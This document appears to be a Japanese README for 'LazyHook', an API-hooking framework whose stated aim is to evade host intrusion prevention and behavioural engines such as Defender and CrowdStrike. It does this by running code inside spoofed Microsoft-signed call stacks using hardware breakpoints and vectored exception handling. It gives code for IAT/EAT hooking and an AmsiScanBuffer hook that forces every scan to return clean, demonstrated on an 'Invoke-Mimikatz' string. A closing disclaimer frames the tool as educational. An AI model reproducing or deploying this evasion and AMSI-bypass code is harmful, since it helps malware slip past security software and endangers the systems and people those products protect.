LazyHookは、ホスト型侵入防止システム(HIPS)をバイパスするステルスAPIフッキングフレームワークで、コールスタックスプーフィングを利用します。CPUレベルのハードウェアブレークポイントとベクタード例外処理(VEH)を活用することで、あたかも信頼されたMicrosoft署名付きモジュールから発信されたかのように任意のコードを実行します。コールスタック検査やモジュール発信元検証に依存する動作解析エンジンを完全に欺きます。
信頼されたMicrosoftコールスタック内で悪意のあるコードを実行して、動作解析を回避する
ハードウェアブレークポイント + VEH を使用して正規の関数を乗っ取り、モジュールの発信元を偽装します
ホスト型侵入防止システム(HIPS)と動作解析エンジンは、以下の方法でアプリケーションを監視します:
Kaspersky System Watcher、Windows Defender、Cylance、CrowdStrikeなどのシステムは、すべてこれらの技術のバリエーションを採用しています。
Microsoft署名付きアセンブリ(例:System.Windows.Forms.dll、user32.dll)内の関数を乗っ取ることで、完全に正規に見えるコールスタック内で任意のロジックを実行できます。
注:JmpHookを行うことも可能です。MsgBoxをフックし、その直後にカスタムコードを呼び出します。LazyHookはそれを行いません
これが機能する理由:
セキュリティソフトウェアは2番目のシナリオを見て、こう考えます:「user32.dllのMessageBoxAがWindows APIを呼び出している?それは正常な動作だ。」
┌─────────────────────────────────────────────────────────┐
│ 1. ターゲット関数の呼び出し │
│ ↓ │
│ 2. CPUデバッグレジスタがトリガー(DR0-DR3) │
│ ↓ │
│ 3. EXCEPTION_SINGLE_STEP が発生 │
│ ↓ │
│ 4. VEHハンドラーが例外をインターセプト │
│ ↓ │
│ 5. フック関数へ実行がリダイレクト │
│ ↓ │
│ 6. CallOriginal() が一時的にブレークポイントを無効化 │
│ ↓ │
│ 7. 元の関数が実行される │
│ ↓ │
│ 8. ブレークポイントが再び有効化される │
└─────────────────────────────────────────────────────────┘
インポートされた関数のIAT内のアドレスを特定し、ハードウェアブレークポイントを設定することで関数をインターセプトします。これにより、プロセス内の特定のインポートがフックされます。
HookIAT("user32.dll", "MessageBoxA", HookFunction, &OriginalFunction);
エクスポートテーブルを介してアドレスを解決することで、DLLからエクスポートされた関数をグローバルにフックします。これは、そのエクスポートへのすべての呼び出しに影響します。
HookEAT("amsi.dll", "AmsiScanBuffer", HookFunction, &OriginalFunction);
同梱のデモは、3つの実践的なシナリオを示しています:
MessageBoxA呼び出しをインターセプトし、表示メッセージを変更することでIATフッキングを示します:
int WINAPI HookMessageBoxA(HWND H, LPCSTR T, LPCSTR C, UINT U)
{
printf("[*] MessageBoxA hooked!\n");
return LazyHook::CallOriginal<int>(LazyHook::GetIatState(), H, "Hooked!", ">:)", U);
}
CreateFileA呼び出しをログ記録することでファイル操作を監視する方法を示します:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("[*] CreateFileA hooked: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
すべてのAMSIスキャンをクリーンな結果に強制することで、セキュリティソフトウェアのバイパスを示します:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
printf("[*] AmsiScanBuffer hooked! Bypassing...\n");
HRESULT OrgResult = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean regardless of content
return OrgResult;
}
デモは、"Invoke-Mimikatz"(既知の悪意のある文字列)をスキャンしてAMSIバイパスをテストし、それがクリーンとして分類されることを示します。
DR7レイアウト(簡略化):
- ビット0、2、4、6:DR0-DR3の有効化フラグ(ローカル有効化)
- ビット16-31:ブレークポイント条件(実行、書き込み、I/O、読み取り/書き込み)
フレームワークはDR7を次のように設定します:
VEHハンドラーは:
EXCEPTION_SINGLE_STEPであるかを確認EXCEPTION_CONTINUE_EXECUTIONを返してフックで再開template<typename Ret, typename... Args>
Ret CallOriginal(VehHookState* State, Args... args)
{
RemoveHardwareBreakpoint(State->DrIndex); // Disable temporarily
Ret Result = ((FuncType)State->OriginalFunction)(args...);
SetHardwareBreakpoint(State->OriginalFunction, State->DrIndex); // Re-enable
return Result;
}
デモは、AmsiScanBufferをフックしてクリーンなスキャン結果を強制することを示しています:
HRESULT WINAPI HookAmsiScanBuffer(...)
{
HRESULT Result = LazyHook::CallOriginal<HRESULT>(...);
(*Result) = AMSI_RESULT_CLEAN; // Force clean result
return Result;
}
これは、重要なAPI呼び出しをインターセプトすることで、セキュリティソフトウェアの動作を実行時に変更できる方法を示しています。
CreateFileAをフックして、アプリケーションの動作を変更せずにファイルアクセスをログ記録します:
HANDLE WINAPI HookCreateFileA(LPCSTR Filename, ...)
{
printf("File accessed: %s\n", Filename);
return LazyHook::CallOriginal<HANDLE>(...);
}
このコードは、以下のための高度な回避技術を示しています:
⚠️ 警告:セキュリティ対策のバイパス、ソフトウェアの動作変更、または保護の回避を目的とした不正使用は、コンピュータ詐欺法(CFAA、GDPR、同等の法律)に違反する可能性があります。このフレームワークは、教育および認可されたセキュリティ研究専用に提供されています。
攻撃技術を理解することは、より良い防御を築きます。